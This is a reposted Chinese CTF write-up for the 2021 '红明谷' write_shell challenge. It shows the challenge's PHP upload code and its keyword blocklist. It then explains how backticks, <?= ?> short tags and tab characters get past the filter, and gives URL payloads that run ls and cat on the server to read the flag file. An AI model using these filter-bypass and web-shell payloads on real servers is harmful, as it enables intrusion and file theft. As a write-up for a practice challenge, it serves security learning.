当前位置:网站首页>[红明谷CTF 2021]write_shell
[红明谷CTF 2021]write_shell
2022-07-26 22:39:00 【茶经新读.】
[红明谷CTF 2021]write_shell
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>可以看到,当action等于pwd的时候,会打印当前目录的路径,当action等于upload的时候,会上传数据到目录路径下的index.php中,而在check函数中也是过滤了很多的关键字,但是没有过滤反引号(`),于是先构造payload显示路径:/?action=pwd

接下来就是让页面显示内容,需要写入<?php system('ls \')?>,但是php、'、空格被过滤了,于是要找新的字符来代替,php过滤成<?= ?>,'用`(反引号)来替换,空格用\t来替换,于是构造出新的payload:/?action=upload&data=<?=`ls\t/`?>,先执行payload,执行完之后要回到路径中查看显示的内容
![]()
![]()
![]()
推测flag在flllllll1112222222lag中,于是用cat命令直接抓取flllllll1112222222lag内容,构造payload:/?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>,执行后仍要返回路径查看,即可得到flag
![]()
![]()
![]()
边栏推荐
- Linux系统中安装Redis-7.0.4
- [3. VIM operation]
- In JS, the common writing methods and calling methods of functions - conventional writing, anonymous function writing, taking the method as an object, and adding methods to the object in the construct
- Today's 20220719 toss deeplobcut
- js中this指向详解
- C语言 关机小程序
- Friend friend function and singleton mode
- 公司给了IP地址如何使用(详细版)
- Web middleware log analysis script 2.0 (shell script)
- Promise基本用法 20211130
猜你喜欢

DOM day_04(7.12)BOM、打开新页面(延迟打开)、地址栏操作、浏览器信息读取、历史操作
![[PCB open source sharing] stc8a8k64d4 development board](/img/df/14f47295dace857c0a32545c3eca39.png)
[PCB open source sharing] stc8a8k64d4 development board

Shang school software testing (1) software testing curriculum system, advantages, learning suggestions, understanding software, software testing and defects, software testing process, debugging and te

el-checkbox中的checked勾选状态问题 2021-08-02

【 Educational Codeforces Round 132 (Rated for Div. 2) A·B·C】
![[PCB open source sharing] stc32g12k128/stc8h8k64u development board](/img/f1/48b344722820ab262e751aebf65411.png)
[PCB open source sharing] stc32g12k128/stc8h8k64u development board

The detailed process of reinstalling AutoCAD after uninstallation and deleting the registry
![[qt] attribute](/img/ca/5f9d8f33e38b0ac5cbb0768a7b3ffd.png)
[qt] attribute

10_ Evaluate classification
![[LeetCode] 无重复最长字符串](/img/97/bf8c9b019136ab372ce2c43cddbb2c.jpg)
[LeetCode] 无重复最长字符串
随机推荐
Leetcode high frequency question: the choice of the inn, how many options to choose accommodation, to ensure that you can find a coffee shop with a minimum consumption of no more than p yuan in the ev
Web middleware log analysis script 1.0 (shell script)
MySQL associative table queries (reducing the number of queries)
放图仓库-2(函数图像)
JSCORE day_02(7.1)
Install redis-7.0.4 in Linux system
Promise基本用法 20211130
[Qt]元对象系统
继承,继承,继承
C language shutdown applet
JSCORE day_01(6.30) RegExp 、 Function
My first blog - confused junior
【4.1 质数及线性筛】
Lt9611ux Mipi to HDMI 2.0 dual port with audio
并行MPI程序传递发送消息
[qt] attribute
10_ Evaluate classification
On the expression of thymeleaf
Resolve Microsoft 365 and Visio conflicts
[qt] meta object system